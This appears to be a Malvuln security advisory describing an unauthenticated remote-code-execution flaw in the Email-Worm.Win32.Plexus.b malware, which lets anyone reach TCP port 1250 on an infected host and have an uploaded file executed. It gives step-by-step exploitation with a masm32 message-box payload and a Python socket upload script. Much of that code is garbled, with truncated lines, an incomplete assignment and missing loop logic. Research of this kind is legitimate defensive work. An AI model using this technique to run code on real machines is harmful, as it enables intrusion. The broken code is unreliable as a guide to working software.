Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Email-Worm.Win32.Plexus.b  
Vulnerability: Unauthenticated Remote Code Execution  
Description: The malware listens on TCP ports 1250 (file write port) and 47435 (random FTP port). Third-party attackers who can reach infected systems can use a socket program to write binary data to the remote host. The malware then writes that data to a file named "_up.exe" under "\Users\Victim\AppData\Local\Temp" that executes immediately.  
Exploitation requires a few things for our code to run successfully, as there seems to be a file size limitation and header issues.  
1) Create a very small executable using masm32 in assembly.  
2) Pack it using fsg13  
3) Prefix our payload with a DOS "MZ" header and "ETX" control char in hex "\x03" followed by two NULL bytes, as it doesn't write the MZ header correctly.  
4) Use python to read in our EXE payload and push to the infected host.  
Type: PE32  
MD5: ee8990b5d076a7ed601a30eb677cc9be  
Vuln ID: MVID-2021-0400  
Disclosure: 11/07/2021  
1) "DOOM.asm" compiled with masm32.  
include \masm32\include\  
HATE db "Masm32:", 0  
MyReal8 REAL8 123.456  
aDword dd ?  
invoke MessageBox, 0, chr$("DOOM!"), addr HATE, MB_OK  
mov eax, 123  
end start  
2) Pack DOOM.exe using FSG13.  
3) Connect to the infected system and push our own PE file.  
# -*- coding: utf-8 -*-  
from socket import *  
def doit():  
global EXE  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE = EXE +  
while EXE:  
print("MD5: ee8990b5d076a7ed601a30eb677cc9be")  
print("By Malvuln");  
if __name__=="__main__":  
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